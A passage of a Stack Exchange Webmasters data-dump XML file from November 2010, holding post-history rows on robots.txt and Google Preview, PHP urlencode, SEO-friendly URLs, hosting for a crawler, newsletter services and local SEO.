is&#xD;&#xA;&gt; generating the outcome, but they still&#xD;&#xA;&gt; feel in control of the overall&#xD;&#xA;&gt; experience and that they're moving&#xD;&#xA;&gt; freely rather than waiting on the&#xD;&#xA;&gt; computer. This degree of&#xD;&#xA;&gt; responsiveness is needed for good&#xD;&#xA;&gt; navigation.&#xD;&#xA;&#xD;&#xA;Basically, while navigating from one page to another you need to keep the response time down to about a second (seamless experience). A difference of 0.05 seconds is unlikely to matter. Far greater gains are to be made in optimizing the rendering of the page.&#xD;&#xA;&#xD;&#xA;However, if your site relies on a lot of AJAX-y dynamic effects that require a round trip to the server, then you need to start thinking in terms of 0.1 seconds (instantaneous response). In that scenario, saving 0.05 seconds can make a **world** of difference.&#xD;&#xA;&#xD;&#xA;See also this AlertBox article [Powers of 10: Time Scales in User Experience][2] for more on the subject.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/response-times.html&#xD;&#xA;  [2]: http://www.useit.com/alertbox/timeframes.html" />
  <row Id="10986" PostHistoryTypeId="2" PostId="5505" RevisionGUID="5afa346b-74bd-46f1-b206-80bc06f116f2" CreationDate="2010-11-15T20:38:42.827" UserId="42" Text="Because it sure looks like it does.  For my sites we disallow the images directory and the previews are all missing images which makes the site look wonky.  &#xD;&#xA;&#xD;&#xA;Is this the case and is there a way to allow just the preview bot to access images using robots.txt?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10987" PostHistoryTypeId="1" PostId="5505" RevisionGUID="5afa346b-74bd-46f1-b206-80bc06f116f2" CreationDate="2010-11-15T20:38:42.827" UserId="42" Text="Does Google Preview obey Robots.txt?" />
  <row Id="10988" PostHistoryTypeId="3" PostId="5505" RevisionGUID="5afa346b-74bd-46f1-b206-80bc06f116f2" CreationDate="2010-11-15T20:38:42.827" UserId="42" Text="&lt;google&gt;&lt;robots.txt&gt;" />
  <row Id="10989" PostHistoryTypeId="5" PostId="5505" RevisionGUID="d77b02d9-87da-4a61-a486-6da32d339dcc" CreationDate="2010-11-15T21:17:59.550" UserId="42" Comment="formatting" Text="Because it sure looks like it does.  For my sites we disallow the images directory and the previews are all missing images which makes the site look wonky.  &#xD;&#xA;&#xD;&#xA;Is this the case and is there a way to allow just the preview bot to access images using robots.txt?&#xD;&#xA;&#xD;&#xA;&lt;b&gt;EDIT:&lt;/b&gt; It looks like the previews are generated both by the normal Google Bot and by an on the fly bot Google Web Preview as mentioned (briefly) on the &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2010/11/instant-previews.html&quot;&gt;Webmaster Central Blog&lt;/a&gt;.  &#xD;&#xA;&#xD;&#xA;By using a site: search and my monitoring software I could see when the bot hit my site and when this happened the images showed up just fine in the preview.  So my guess is that the normal crawler ignores the images per robots.txt, but the preview crawler gets the images anyway.  &#xD;&#xA;&#xD;&#xA;This implementation seems kind of crumby because my options seem to be:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&lt;li&gt;allow google bot to crawl my images (which I don't want to do)&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;&lt;li&gt;use the nosnippet tag which blocks the preview, but ALSO snippets (which I don't want to do)&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;&lt;li&gt;Let the wonky previews appear which may adversely affect click throughs&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10990" PostHistoryTypeId="2" PostId="5506" RevisionGUID="31b3d53d-692e-4caa-b136-f05d92c79bbe" CreationDate="2010-11-15T22:03:14.090" UserId="1429" Text="YES IT DOES!&#xD;&#xA;&#xD;&#xA;By moving your site/webapp to UE, **whoever will visit it from UE will feel definitaly a noticable speed increase**.&#xD;&#xA;&#xD;&#xA;If it's the 1st time you are changing a webhosting let me simply advise you to think if it's worth the effort. Changing hosting is always a pain." />
  <row Id="10991" PostHistoryTypeId="2" PostId="5507" RevisionGUID="3fd3623b-7145-4fa9-bebc-2b31fb87e9b5" CreationDate="2010-11-16T08:20:49.537" UserId="2713" Text="as I know, google loves text links better then image links. But I don't know, what is the case with mixed links like yours, but I would use the background-image CSS property of the A tag instead of using img tag in the link.&#xD;&#xA;&#xD;&#xA;This can cause a problem, if you print that page, because background images won't be printed as default.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="10992" PostHistoryTypeId="2" PostId="5508" RevisionGUID="5c209460-2d29-4c7c-b1a7-f095cd5b5437" CreationDate="2010-11-16T08:55:12.940" UserId="2840" Text="A [similar question on webmaster central][1] got this response:&#xD;&#xA;&#xD;&#xA;&gt;The preview crawler is just for the ones made on the fly - most are made during a standard crawl of your site and so to block that would mean you block googlebot totally.&#xD;&#xA;&#xD;&#xA;Why don't you want to allow Google bot to crawl your images?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=4b08af8e5566113d&amp;hl=en" />
  <row Id="10993" PostHistoryTypeId="12" PostId="5508" RevisionGUID="da5dce02-6c3a-427e-90ed-c0c867cb9c4f" CreationDate="2010-11-16T08:55:51.177" UserId="2840" Text="[{&quot;Id&quot;:2840,&quot;DisplayName&quot;:&quot;G. Qyy&quot;}]" />
  <row Id="10994" PostHistoryTypeId="5" PostId="5508" RevisionGUID="5a23a318-ba66-4bfe-99f3-223a0dbd0621" CreationDate="2010-11-16T09:51:53.520" UserId="2840" Comment="deleted 193 characters in body" Text="As the most part of the preview is done by the Google bot crawler, blocking crawling of some part of your site will impact the preview... &#xD;&#xA;&#xD;&#xA;Why don't you want to allow Google bot to crawl your images?" />
  <row Id="10995" PostHistoryTypeId="13" PostId="5508" RevisionGUID="a70c5f2a-86f8-4438-9466-515ad6673bd3" CreationDate="2010-11-16T09:51:58.077" UserId="2840" Text="[{&quot;Id&quot;:2840,&quot;DisplayName&quot;:&quot;G. Qyy&quot;}]" />
  <row Id="10996" PostHistoryTypeId="2" PostId="5509" RevisionGUID="fb3926c4-457d-4f87-b5b5-551a1a65d000" CreationDate="2010-11-16T10:10:24.160" UserId="3175" Text="I am using the PHP urlencode() function to escape chars for anchor tags (&lt;a&gt;).&#xD;&#xA;Why can't I use the function on a full URL such as&#xD;&#xA;&#xD;&#xA;    http://www.allposters.com/gallery.asp?startat=/getthumb.asp&amp;txtSearch= ...&#xD;&#xA;&#xD;&#xA;The function converts this string to&#xD;&#xA;&#xD;&#xA;    http%3A%2F%2Fwww.allposters.com%2Fgallery.asp%3Fstartat%3D%2Fgetthumb.asp%26txtSearch&#xD;&#xA;&#xD;&#xA;which does not work when clicking on...&#xD;&#xA;&#xD;&#xA;Trying to escape the QUERY only&#xD;&#xA;&#xD;&#xA;    startat%3D%2Fgetthumb.asp%26txtSearch&#xD;&#xA;&#xD;&#xA;breaks the link also. &#xD;&#xA;&#xD;&#xA;So my question is which characters should I esacape using the urlencode() function?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10997" PostHistoryTypeId="1" PostId="5509" RevisionGUID="fb3926c4-457d-4f87-b5b5-551a1a65d000" CreationDate="2010-11-16T10:10:24.160" UserId="3175" Text="URLEncode of full URL" />
  <row Id="10998" PostHistoryTypeId="3" PostId="5509" RevisionGUID="fb3926c4-457d-4f87-b5b5-551a1a65d000" CreationDate="2010-11-16T10:10:24.160" UserId="3175" Text="&lt;php&gt;&lt;url-encoding&gt;" />
  <row Id="10999" PostHistoryTypeId="2" PostId="5510" RevisionGUID="ff913c38-608f-47ca-a16a-f23f0ed34520" CreationDate="2010-11-16T10:15:57.710" UserId="221" Text="The following is a technical solution that may or may not be simply to apply to your site. &#xD;&#xA;&#xD;&#xA;It is possible (even likely) that Google will come out with a way to do this with just a few hints in meta data or robots.txt, but until then....&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Step 1.** &#xD;&#xA;&#xD;&#xA;Create a redirection service/servlet for front page images.&#xD;&#xA;&#xD;&#xA;I.e. an URL like &#xD;&#xA;&#xD;&#xA;`/frontpageimages/[image name]` &#xD;&#xA;&#xD;&#xA;that does a *server side* redirect to &#xD;&#xA;&#xD;&#xA;`/images/[image name]`&#xD;&#xA;&#xD;&#xA;**Step 2.** &#xD;&#xA;&#xD;&#xA;Have all image links on your front page (and only front page) rewritten to go through the redirection service from step 1 rather than linking directly to the image.&#xD;&#xA;&#xD;&#xA;**Step 3.**&#xD;&#xA;&#xD;&#xA;Make sure that robots.txt allows googlebot to crawl `/frontpageimages/` &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;This should ensure that Google can crawl any images it encounters on your front page while leaving any images on other pages alone.&#xD;&#xA;&#xD;&#xA;While the redirection service could (in theory) be used to crawl all your images without *technically* violating your robots.txt, it is not something that well behaved robots (like googlebot) are going to do. And ill behaved robots aren't going to worry about robots.txt.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11000" PostHistoryTypeId="2" PostId="5511" RevisionGUID="83cea127-0bcc-4e45-a1bf-abfa559ba8c7" CreationDate="2010-11-16T10:27:06.557" UserId="221" Text="URLEncode is meant to encode characters that have special meanings in URLs (like colons, question marks, slashes etc.).&#xD;&#xA;&#xD;&#xA;You should only apply URLEncode to the values you wish to encode in your URL, not to the entire URL.&#xD;&#xA;&#xD;&#xA;E.g. Suppose I have the following URL:&#xD;&#xA;&#xD;&#xA;    http://example.com/search.php?query=VALUE&#xD;&#xA;&#xD;&#xA;As it stands, no escaping is necessary. But suppose VALUE was actually &#xD;&#xA;&#xD;&#xA;    /. the book&#xD;&#xA;&#xD;&#xA;The VALUE bit now contains a character that is not safe as a slash has special meaning in an URL.&#xD;&#xA;&#xD;&#xA;So before I attach the VALUE to the URL, I need to URLEncode *just the VALUE*.&#xD;&#xA;&#xD;&#xA;    http://example.com/search.php?query=%2F.%20the%20book&#xD;&#xA;&#xD;&#xA;When a webserver gets the above request it will need to URLDecode the query parameter to make get the original text back.&#xD;&#xA;&#xD;&#xA;In the example cited in the question, the entire query string was being encoded. This is incorrect as special characters (such as ampersands between query parameters) are then escaped and not interpreted correctly. You should only encode the parameter values." />
  <row Id="11001" PostHistoryTypeId="2" PostId="5512" RevisionGUID="e2dba61a-f8ab-4d54-bcea-d65647c49f79" CreationDate="2010-11-16T12:49:24.737" UserId="2293" Text="I'm sure google can and will index your content. I'm not sure if google will give more weight to article's h1 instead of header's h1 for SEO.&#xD;&#xA;&#xD;&#xA;Keep in mind that title tag is more important (in SEO weight) than h1 headings.&#xD;&#xA;&#xD;&#xA;Note that what goes to google results are tags title and meta tag description. Other tags are for weightning only. And as rule of thumb, how close to page's start are they keywords, the best.&#xD;&#xA;&#xD;&#xA;It could be interesting add an H1 to the header element, from SEO ponit of view." />
  <row Id="11002" PostHistoryTypeId="2" PostId="5513" RevisionGUID="9e96ebaf-0521-445e-906c-4c0ab088600e" CreationDate="2010-11-16T13:02:04.913" UserId="2293" Text="This is why I'd hate industry made solutions.&#xD;&#xA;&#xD;&#xA;I do everything by hand (I have my own framework and so on, so, speed to deliver is not an issue for me), in order to make site more userfriendly.&#xD;&#xA;&#xD;&#xA;See the evolution:&#xD;&#xA;&#xD;&#xA; - http://domain.tld?id=36&amp;descr=cheap-blue-jeans&#xD;&#xA; - http://domain.tld/product/36&#xD;&#xA; - http://domain.tld/product/36/cheap-blue-jeans&#xD;&#xA; - http://domain.tld/product/cheap-blue-jeans&#xD;&#xA;&#xD;&#xA;The last one, IMHO, is the most concise, friendly and relevant option. What need' to achieve that?&#xD;&#xA;&#xD;&#xA; - mod_rewrite, as other solutions.&#xD;&#xA; - create a database index on the short description field, so we can keep things fast&#xD;&#xA; - a simple routine to find products by description, instead by id.&#xD;&#xA;&#xD;&#xA;A few extra work, a significant bit of friendlyness to users. Yes, because, numbers in urls does say nothing to users, nor search engines. Keep support to them as fallback may be an option, but using only descriptions makes more sense to me." />
  <row Id="11003" PostHistoryTypeId="2" PostId="5514" RevisionGUID="b1febd65-b0d0-4f62-bd3f-e0b09174eea9" CreationDate="2010-11-16T13:23:02.163" UserId="2293" Text="Well, I'm a developer/programmer/coding guy.&#xD;&#xA;&#xD;&#xA;This means, I always go for some information about design before answer such questions. I like Jakob Nielsen's articles, because they research before posting.&#xD;&#xA;&#xD;&#xA; - http://www.useit.com/alertbox/mega-dropdown-menus.html&#xD;&#xA; - http://www.useit.com/alertbox/navigation-menu-alignment.html&#xD;&#xA; - http://www.useit.com/alertbox/alpha-sorting.html&#xD;&#xA;&#xD;&#xA;I think those links can help.&#xD;&#xA;&#xD;&#xA;Now my opinion. Using horizontal menus are the first option for main navigation, specially if you consider using mega drop downs.&#xD;&#xA;&#xD;&#xA;Also, the use of horizontal breadcrumbs, as auxiliar navigation to help users locate themselves quickly.&#xD;&#xA;&#xD;&#xA;I like vertical navigation menus, but they tend to be ads-like, what makes users blind to them, so first thing, make sure your vertical menus are NOT like a banner or google ads.&#xD;&#xA;&#xD;&#xA;Second, I'd prefer to use vertical menus for &quot;context&quot; navigation, displaying related content, or subsections items." />
  <row Id="11004" PostHistoryTypeId="2" PostId="5515" RevisionGUID="d533230d-b969-41c7-98ae-936e846dccb9" CreationDate="2010-11-16T14:43:56.247" UserId="3258" Text="Can anyone recommend an affordable and reliable Drupal theme designer, who can take a concept and produce a Drupal 6.19-compliant theme?&#xD;&#xA;&#xD;&#xA;The backend functionality and structure of the web site is complete, I'm purely looking for someone who can create a Drupal theme from scratch, based on a design concept.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Mike." />
  <row Id="11005" PostHistoryTypeId="1" PostId="5515" RevisionGUID="d533230d-b969-41c7-98ae-936e846dccb9" CreationDate="2010-11-16T14:43:56.247" UserId="3258" Text="Recommendations for affordable and reliable Drupal theme designer" />
  <row Id="11006" PostHistoryTypeId="3" PostId="5515" RevisionGUID="d533230d-b969-41c7-98ae-936e846dccb9" CreationDate="2010-11-16T14:43:56.247" UserId="3258" Text="&lt;css&gt;&lt;javascript&gt;&lt;drupal&gt;&lt;theme&gt;&lt;web-design&gt;" />
  <row Id="11007" PostHistoryTypeId="2" PostId="5516" RevisionGUID="2e666166-d9f9-42e1-b56e-a758d06ede14" CreationDate="2010-11-16T16:54:52.437" UserDisplayName="HappyWebMaster" Text="I'm looking for a VPS or dedicated that can have a web crawler running all day long. It would gather data and then add it to some websites.&#xD;&#xA;&#xD;&#xA;These websites currently have around 1k unique visits/day, and use 35gb of diskspace.&#xD;&#xA;&#xD;&#xA;My budget for this is 20-60 dollars/month&#xD;&#xA;&#xD;&#xA;I found a good offer in 'myhosting', but it is too much better than the average (which makes me mistrust), and I couldn't find opinions about it. Also they didn't answer the email I sent to them asking about the Mbps (they offer 600gb transfer/month)&#xD;&#xA;&#xD;&#xA;Any thoughts?" />
  <row Id="11008" PostHistoryTypeId="1" PostId="5516" RevisionGUID="2e666166-d9f9-42e1-b56e-a758d06ede14" CreationDate="2010-11-16T16:54:52.437" UserDisplayName="HappyWebMaster" Text="Where can I host this?" />
  <row Id="11009" PostHistoryTypeId="3" PostId="5516" RevisionGUID="2e666166-d9f9-42e1-b56e-a758d06ede14" CreationDate="2010-11-16T16:54:52.437" UserDisplayName="HappyWebMaster" Text="&lt;vps&gt;&lt;dedicated-hosting&gt;&lt;site-crawler&gt;" />
  <row Id="11010" PostHistoryTypeId="2" PostId="5517" RevisionGUID="cc56cdde-0f0f-450b-87e8-756b9fdf8938" CreationDate="2010-11-16T17:25:39.337" UserId="3261" Text="What language is your crawler written in? Have you considered using Google Application Engine? (GAE) They are free to a certain point, support Java and Python. &#xD;&#xA;&#xD;&#xA;http://code.google.com/appengine/&#xD;&#xA;" />
  <row Id="11011" PostHistoryTypeId="2" PostId="5518" RevisionGUID="0a7ae33f-73ec-40ce-9091-e93c92964ec2" CreationDate="2010-11-16T18:16:30.477" UserId="3261" Text="You can also consider using rewrite and completely bypass Magento:&#xD;&#xA;&#xD;&#xA;.htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^favicon\.ico$ /images/favicon.ico [L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11012" PostHistoryTypeId="2" PostId="5519" RevisionGUID="968ad6e3-60d1-49db-bd03-6d2ab09da23b" CreationDate="2010-11-16T18:26:51.393" UserId="3138" Text="I just build a new web app, and I am looking for data to seed it with. Anyone know any good seed data retailers? Or am I missing something and there is a way to do this for free. I am entirely open to scraping, and have built a couple scrapers I enjoyed." />
  <row Id="11013" PostHistoryTypeId="1" PostId="5519" RevisionGUID="968ad6e3-60d1-49db-bd03-6d2ab09da23b" CreationDate="2010-11-16T18:26:51.393" UserId="3138" Text="Know a good place to purchase seed data of storenames, addresses, and phone numbers?" />
  <row Id="11014" PostHistoryTypeId="3" PostId="5519" RevisionGUID="968ad6e3-60d1-49db-bd03-6d2ab09da23b" CreationDate="2010-11-16T18:26:51.393" UserId="3138" Text="&lt;mysql&gt;&lt;database&gt;&lt;data&gt;" />
  <row Id="11015" PostHistoryTypeId="2" PostId="5520" RevisionGUID="96290e39-a893-40fd-9625-6c4945bf98cb" CreationDate="2010-11-16T18:48:26.797" UserId="3262" Text="I would like to filter my registered users db, check the ones who suscribed to the newsletter and send an HTML type email.&#xD;&#xA;&#xD;&#xA;Are there some scripts out there for this? A cPanel feature maybe? Or do i have to write this with a php script?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11016" PostHistoryTypeId="1" PostId="5520" RevisionGUID="96290e39-a893-40fd-9625-6c4945bf98cb" CreationDate="2010-11-16T18:48:26.797" UserId="3262" Text="Set up a newsletter system for my site." />
  <row Id="11017" PostHistoryTypeId="3" PostId="5520" RevisionGUID="96290e39-a893-40fd-9625-6c4945bf98cb" CreationDate="2010-11-16T18:48:26.797" UserId="3262" Text="&lt;php&gt;&lt;cpanel&gt;" />
  <row Id="11018" PostHistoryTypeId="2" PostId="5521" RevisionGUID="6e61ae76-ba92-4230-a373-9bbc1b3f2b19" CreationDate="2010-11-16T19:21:08.527" UserId="233" Text="The unfortunate thing about the Google article you posted is that it's almost creating more myths than it quashes. It's true that search engines do not have any problems indexing dynamic URLs, but static-looking URLs still tend to rank better.&#xD;&#xA;&#xD;&#xA;The main reason is that when you create static URLs they are less &quot;watered down&quot; with irrelevant characters and keywords. If you take this, for example:&#xD;&#xA;&#xD;&#xA;    products.php?id=123&amp;descr=product-name&amp;view=comments&#xD;&#xA;&#xD;&#xA;Here you have `php`, `id`, `descr` and `view` as essentially irrelevant keywords to the page. It won't actively harm your ranking, but in some ways it's akin to calling your brown dog photo `my-black-cat.jpg`.&#xD;&#xA;&#xD;&#xA;As others have said, clear and concise URLs are best for users and search engines alike. `products/123/product-name/comments` is much easier to grasp than the above. If it's possible to have unique &quot;slugs&quot; in the URL, remove the ID and go with a format like `products/product-name/comments`." />
  <row Id="11019" PostHistoryTypeId="5" PostId="5521" RevisionGUID="b1a2d774-1b46-422a-b182-9e0a58e8ef6e" CreationDate="2010-11-16T19:33:41.737" UserId="233" Comment="added 673 characters in body" Text="The unfortunate thing about the Google article you posted is that it's almost creating more myths than it quashes. It's true that search engines do not have any problems indexing dynamic URLs, but static-looking URLs still tend to rank better.&#xD;&#xA;&#xD;&#xA;The main reason is that when you create static URLs they are less &quot;watered down&quot; with irrelevant characters and keywords. If you take this, for example:&#xD;&#xA;&#xD;&#xA;    products.php?id=123&amp;descr=product-name&amp;view=comments&#xD;&#xA;&#xD;&#xA;Here you have `php`, `id`, `descr` and `view` as essentially irrelevant keywords to the page. It won't actively harm your ranking, but in some ways it's akin to calling your brown dog photo `my-black-cat.jpg`.&#xD;&#xA;&#xD;&#xA;As others have said, clear and concise URLs are best for users and search engines alike. `products/123/product-name/comments` is much easier to grasp than the above. If it's possible to have unique &quot;slugs&quot; in the URL, remove the ID and go with a format like `products/product-name/comments`.&#xD;&#xA;&#xD;&#xA;To answer your questions more directly:&#xD;&#xA;&#xD;&#xA;1. Yes, that will improve SEO over just having the product ID. But it's still better for users to have a static-looking URL.&#xD;&#xA;2. Either or both is fine. I believe Canonical and 301 act the same in terms of passing PageRank etc. Normally canonical is used due to technical restrictions, or as a plaster.&#xD;&#xA;3. It depends on how and when you redirect. For example, if you only redirect when the `descr` parameter does not match the description for the product specified by `id`, you're missing the situation when someone goes to `?descr=cheap-blue-jeans&amp;id=36`. So it's always good to include it, in case you've missed a redirect." />
  <row Id="11020" PostHistoryTypeId="2" PostId="5522" RevisionGUID="0c9a0ae0-5135-486e-86a8-0f687ff23a15" CreationDate="2010-11-16T19:47:03.180" UserId="233" Text="You'll need a dedicated server for this - you shouldn't have any problems with most DS hosts. A few [are listed here][1] but there are plenty out there so just shop around.&#xD;&#xA;&#xD;&#xA;The plus side of having your own server is you can host your other web sites on there, assuming your crawler is not a resource hog. A URL retrieval every 2-5 seconds would not slow down the server for the other sites.&#xD;&#xA;&#xD;&#xA;Alternatively, why not run it from your own computer? Web pages are usually only a few dozen kB, or smaller with gzip, so it probably wouldn't use masses of your bandwidth.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5001/looking-for-a-reliable-and-inexpensive-dedicated-server-host" />
  <row Id="11021" PostHistoryTypeId="2" PostId="5523" RevisionGUID="bb093893-8601-4f73-ac73-1ec20af72c45" CreationDate="2010-11-16T20:06:52.000" UserId="1955" Text="I is common thing that if you have some login that creates the title tag content to finish with several new lines in it. For example:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;&#xD;&#xA;       Title |&#xD;&#xA;       Category |&#xD;&#xA;       My Site Name&#xD;&#xA;    &lt;/title&gt;&#xD;&#xA;&#xD;&#xA;Does this has some semantic falls? Is it bad for SEO?&#xD;&#xA;" />
  <row Id="11022" PostHistoryTypeId="1" PostId="5523" RevisionGUID="bb093893-8601-4f73-ac73-1ec20af72c45" CreationDate="2010-11-16T20:06:52.000" UserId="1955" Text="Does new lines in the title tag affect SEO" />
  <row Id="11023" PostHistoryTypeId="3" PostId="5523" RevisionGUID="bb093893-8601-4f73-ac73-1ec20af72c45" CreationDate="2010-11-16T20:06:52.000" UserId="1955" Text="&lt;seo&gt;&lt;html&gt;&lt;semantic-web&gt;" />
  <row Id="11024" PostHistoryTypeId="2" PostId="5524" RevisionGUID="8c844586-21de-4065-88fb-a3c1fdca3df6" CreationDate="2010-11-16T20:19:24.163" UserId="1253" Text="New lines do not affect SEO. That won't hurt you at all." />
  <row Id="11025" PostHistoryTypeId="2" PostId="5525" RevisionGUID="e4e4422e-5a09-42fe-bc54-7deebf00c07f" CreationDate="2010-11-16T20:59:57.197" UserId="1953" Text="I'm not aware of any scripts available to do this however, you could query your database to export the info you need in a txt file then use a service such as campaign monitor or Mailchimp (I've used both and both work great, Mailchimp however, has a free version if you are sending out low volumes of emails)." />
  <row Id="11026" PostHistoryTypeId="2" PostId="5526" RevisionGUID="f28cc97b-a389-4ac2-981e-df48c14fd2b4" CreationDate="2010-11-16T21:37:49.130" UserId="63" Text="Remember to add line-height. It turns horrible looking text into much more readable and better looking text. Whitespace FTW" />
  <row Id="11027" PostHistoryTypeId="2" PostId="5527" RevisionGUID="0509fa8d-410b-47f5-9938-dc93c2940112" CreationDate="2010-11-16T22:59:57.437" UserDisplayName="Chirag" Text="what are possible premium News script available?&#xD;&#xA;We are a small company that wants to shift our attention to News/Blogging service. What's the best premium script that we can buy for this?" />
  <row Id="11028" PostHistoryTypeId="1" PostId="5527" RevisionGUID="0509fa8d-410b-47f5-9938-dc93c2940112" CreationDate="2010-11-16T22:59:57.437" UserDisplayName="Chirag" Text="Premium News script" />
  <row Id="11029" PostHistoryTypeId="3" PostId="5527" RevisionGUID="0509fa8d-410b-47f5-9938-dc93c2940112" CreationDate="2010-11-16T22:59:57.437" UserDisplayName="Chirag" Text="&lt;google-news&gt;" />
  <row Id="11033" PostHistoryTypeId="2" PostId="5529" RevisionGUID="d4531ac9-6ccc-4294-8cb0-2bd7a6ed22c5" CreationDate="2010-11-16T23:47:10.597" UserId="3268" Text="what scripts are you talking about. for what platform... asp...php..coldfusion...&#xD;&#xA;&#xD;&#xA;Are you a developer? Than it's really easy to write your own site/cms in php/java/ruby etc.&#xD;&#xA;If you are experienced php programmer  - just pick up a copy of some framework like CI or Cake PHP and roll own your own site. large news companies usually develop their own CMS (content managament system) for blogging/news management.&#xD;&#xA;&#xD;&#xA;For less experienced programmers IMHo - I would just download Wordpress CMS and some custom theme. There are some big sites that use Wordpress (well... relatively big...like phandroid.com).&#xD;&#xA;&#xD;&#xA;IMHO - I would not buy any &quot;news scripts&quot;. there are plethora of free open source script and script examples all over the internet.&#xD;&#xA;&#xD;&#xA;just google it.&#xD;&#xA;" />
  <row Id="11037" PostHistoryTypeId="2" PostId="5530" RevisionGUID="348ea840-1dc2-4a3e-b698-c357aeffe0eb" CreationDate="2010-11-17T00:42:47.900" UserId="1218" Text="I'd say don't bother, it's not worth the hassle of setup, maintaining a clean IP, and achieving high deliverability. Plus, the reporting is far more sophisticated than you would be able to achieve in building something yourself.&#xD;&#xA;&#xD;&#xA;Use something like [MailChimp][1] or [Campaign Monitor][2], both excellent services that have free plans or free trials.&#xD;&#xA;&#xD;&#xA;As for the subscription, i would let the service handle it by using their forms on your website. If you really need to be able to see the status of the subscribers, then both have APIs that will let you grab the info to display in your application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mailchimp.com&#xD;&#xA;  [2]: http://www.campaignmonitor.com/" />
  <row Id="11038" PostHistoryTypeId="2" PostId="5531" RevisionGUID="1764de3a-b9c0-4823-a931-72ad5107f186" CreationDate="2010-11-17T01:35:15.317" UserId="745" Text="What are your strategies for local SEO? For example, if you had a web design company in Lincoln, Nebraska, what would you do for your website from an SEO perspective?" />
  <row Id="11039" PostHistoryTypeId="1" PostId="5531" RevisionGUID="1764de3a-b9c0-4823-a931-72ad5107f186" CreationDate="2010-11-17T01:35:15.317" UserId="745" Text="Local SEO Strategies" />
  <row Id="11040" PostHistoryTypeId="3" PostId="5531" RevisionGUID="1764de3a-b9c0-4823-a931-72ad5107f186" CreationDate="2010-11-17T01:35:15.317" UserId="745" Text="&lt;seo&gt;&lt;best-practices&gt;&lt;local-seo&gt;" />
  <row Id="11041" PostHistoryTypeId="2" PostId="5532" RevisionGUID="24af0dec-45cb-4617-900b-151716541f22" CreationDate="2010-11-17T02:51:11.723" UserId="1253" Text="Be sure you use the `&lt;address&gt;` HTML tag and place your address in it. If you don't want to use your home address use a PO Box or a UPS store address (be sure to have a box there). Place it in the footer of your website and on your contact page.&#xD;&#xA;&#xD;&#xA;Also, add your business to [Google Places][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/local/add/businessCenter" />
  <row Id="11042" PostHistoryTypeId="2" PostId="5533" RevisionGUID="30837d6c-f5bb-4c8c-bce5-179b2549f8b1" CreationDate="2010-11-17T03:16:09.170" UserId="2293" Text="Along with John Conde directions, also try including rich snippets markup, to add more semantic juice. Check http://microformats.org/" />
  <row Id="11043" PostHistoryTypeId="2" PostId="5534" RevisionGUID="f6646181-5c4c-4224-9f14-7b9bb7022f01" CreationDate="2010-11-17T05:50:21.200" UserId="3273" Text="If every single link to a given website www.example.com points to a page in a particular subdirectory (i.e. www.example.com/user/[something]), but that directory is off limits as per robots.txt, i.e.&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /user/&#xD;&#xA;&#xD;&#xA;because I don't want these pages appearing in google search results, am I shooting myself in the foot in terms of pagerank? Does the incoming &quot;link-juice&quot; still count if the target page is forbidden to Google in my robots.txt?" />
  <row Id="11044" PostHistoryTypeId="1" PostId="5534" RevisionGUID="f6646181-5c4c-4224-9f14-7b9bb7022f01" CreationDate="2010-11-17T05:50:21.200" UserId="3273" Text="PageRank: will links pointing to pages protected by robots.txt still count?" />
  <row Id="11045" PostHistoryTypeId="3" PostId="5534" RevisionGUID="f6646181-5c4c-4224-9f14-7b9bb7022f01" CreationDate="2010-11-17T05:50:21.200" UserId="3273" Text="&lt;google&gt;&lt;pagerank&gt;&lt;robots.txt&gt;" />
  <row Id="11046" PostHistoryTypeId="2" PostId="5535" RevisionGUID="a4d6e53d-f273-49cf-a11e-23413963abe3" CreationDate="2010-11-17T08:17:30.227" UserId="1064" Text="Speaking to your question - &quot;Does the incoming 'link-juice' still count if the target page is forbidden to Google in my robots.txt?&quot; - I would say that PageRank *is* calculated, even for `noindex`/`nofollow` URI's:&#xD;&#xA;&#xD;&#xA;&gt; While Google won't crawl or index the&#xD;&#xA;&gt; content of pages blocked by&#xD;&#xA;&gt; robots.txt, we may still index the&#xD;&#xA;&gt; URLs if we find them on other pages on&#xD;&#xA;&gt; the web. As a result, the URL of the&#xD;&#xA;&gt; page and, potentially, other publicly&#xD;&#xA;&gt; available information such as anchor&#xD;&#xA;&gt; text in links to the site, or the&#xD;&#xA;&gt; title from the Open Directory Project,&#xD;&#xA;&gt; can appear in Google search results.&#xD;&#xA;&#xD;&#xA;[Google Webmaster Central: Block or remove pages using a robots.txt file][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449" />
